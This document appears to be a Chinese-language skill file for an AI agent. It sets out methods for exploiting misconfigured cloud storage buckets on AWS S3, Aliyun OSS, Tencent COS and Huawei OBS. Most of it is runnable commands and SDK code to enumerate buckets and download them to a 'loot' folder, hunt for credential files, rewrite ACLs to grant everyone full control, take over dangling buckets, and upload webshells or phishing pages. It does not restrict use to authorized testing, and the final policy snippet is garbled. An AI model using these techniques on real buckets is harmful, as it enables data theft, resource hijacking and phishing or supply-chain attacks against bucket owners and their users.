| name | oss-bucket-exploit |
| description | 对象存储(S3/OSS/COS/OBS)Bucket 误配利用。当发现 AWS S3、阿里云 OSS、腾讯云 COS、华为云 OBS 等对象存储服务,或在 HTTP 响应中看到 x-amz-*、x-oss-*、x-cos-* 等 Header 时使用。覆盖 Bucket 枚举、ACL 误配检测、公开读写利用、Bucket 接管、Object 遍历、任意文件上传、Policy 策略滥用。发现任何云存储桶相关的资产或 URL(*.s3.amazonaws.com、*.oss-cn-*.aliyuncs.com、*.cos.*.myqcloud.com 等)都应使用此技能。优先使用 coscli/tccli 操作腾讯云 COS,awscli 操作 AWS S3 |
| metadata | {"tags":"s3,oss,cos,obs,bucket,对象存储,acl,云存储,aws,aliyun,tencent,腾讯云,coscli,tccli,file_upload,takeover","category":"cloud"} |
对象存储 Bucket 误配利用方法论
对象存储是云上最常见的暴露面——Bucket 一旦配置公开读写,就等于把文件服务器直接暴露在互联网上。更危险的是 ACL 误配可以让攻击者接管整个 Bucket,进行钓鱼、供应链投毒、数据窃取。
⛔ 深入参考(必读)
Phase 1: 识别对象存储
| 线索 | 云平台 | Bucket URL 格式 |
|---|
x-amz-* Header, Server: AmazonS3 | AWS S3 | BUCKET.s3.amazonaws.com 或 s3.REGION.amazonaws.com/BUCKET |
x-oss-* Header, .aliyuncs.com | 阿里云 OSS | BUCKET.oss-cn-REGION.aliyuncs.com |
x-cos-* Header, Server: tencent-cos, .myqcloud.com | 腾讯云 COS | BUCKET-APPID.cos.REGION.myqcloud.com |
x-obs-* Header, .myhuaweicloud.com | 华为云 OBS | BUCKET.obs.REGION.myhuaweicloud.com |
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'
腾讯云 COS 特征
腾讯云 COS 的 Bucket 名称格式为 BUCKET-APPID,其中 APPID 是用户唯一标识。
# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com
# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com
# 全局 Bucket 列表(需认证)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com
Phase 2: 攻击决策树
发现对象存储?
├─ 1. 列出 Bucket 内容(公开读?)
│ ├─ 成功 → 搜索敏感文件(配置/备份/代码/凭据)
│ └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配(ACL 可读?ACL 可写?)
│ ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│ └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│ ├─ Policy 可写 → 直接获取完整权限
│ └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管(NoSuchBucket → 抢注同名 Bucket)
Phase 3: 公开读检测与敏感文件搜索
AWS S3
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request
阿里云 OSS
curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com
腾讯云 COS(优先使用 coscli)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r
敏感文件搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"
敏感文件关键词:backup, .sql, .env, config, credential, password, .pem, .key, flag
Phase 4: ACL 误配利用
AWS S3 ACL
aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request
腾讯云 COS ACL
coscli get-bucket-acl cos://BUCKET-APPID
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"
腾讯云 COS ACL 修改(需要写权限)
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone
cat > acl.xml << 'EOF'
<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>
EOF
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
-H "Content-Type: application/xml" \
-d @acl.xml
→ ACL 修改和 Policy 利用详细命令 → references/bucket-attack-methods.md
Phase 5: Bucket 接管
当访问子域名显示 NoSuchBucket、BucketNotFound 等错误时,原始 Bucket 已被删除但 DNS CNAME 仍指向它。
AWS S3
dig +short target-subdomain.example.com
aws s3 mb s3://target-subdomain.example.com
腾讯云 COS
dig +short target-subdomain.example.com
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com
Python SDK 创建 COS Bucket
from qcloud_cos import CosConfig, CosS3Client
secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)
Phase 6: 任意文件上传利用
如果 Bucket 配置了公开写入:
AWS S3
aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request
腾讯云 COS
coscli cp malicious.html cos://BUCKET-APPID/
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
-d '<html><body><h1>COS Writable</h1></body></html>'
腾讯云 COS 特有工具
coscli(腾讯云 COS 专用 CLI)
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
coscli config init
coscli ls
coscli ls cos://BUCKET-APPID/ -r
coscli cp local.txt cos://BUCKET-APPID/remote.txt
coscli cp cos://BUCKET-APPID/remote.txt ./
coscli rm cos://BUCKET-APPID/file.txt
coscli presign cos://BUCKET-APPID/file.txt
coscli get-bucket-acl cos://BUCKET-APPID
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone
Python SDK (cos-python-sdk-v5)
当 coscli 或 tccli 无法实现特定操作时使用。
pip install cos-python-sdk-v5
from qcloud_cos import CosConfig, CosS3Client
import json
secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)
response = client.list_buckets()
response = client.list_objects(Bucket='bucket-1250000000')
response = client.get_bucket_acl(Bucket='bucket-1250000000')
response = client.get_bucket_policy(Bucket='bucket-1250000000')
response = client.get_bucket_cors(Bucket='bucket-1250000000')
response = client.get_bucket_encryption(Bucket='bucket-1250000000')
response = client.get_bucket_logging(Bucket='bucket-1250000000')
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')
policy = {
"version": "2.0",
"statement": [{
"effect": "allow",
"principal": {"qcs": ["qcs::cam::anyone:anyone"]},
: [],
: [
,
]
}]
}
response = client.put_bucket_policy(Bucket=, Policy=json.dumps(policy))
注意事项
- 对象存储误配非常常见,尤其是开发/测试环境
- Bucket 名称全局唯一(AWS/阿里云/腾讯云等),知道名称就可以尝试访问
- 修改 ACL/Policy 会产生操作日志(CloudTrail/ActionTrail/CloudAudit)
- 部分云厂商默认屏蔽了公开列出操作,但单个 Object 仍可能可访问
- 腾讯云 COS Bucket 名必须带 APPID 后缀(如
bucket-1250000000)
- coscli 是腾讯云 COS 的专用工具,功能比 tccli cos 更全
- tccli 对 COS 支持有限(主要是
GetService 列出桶),具体操作优先用 coscli 或 SDK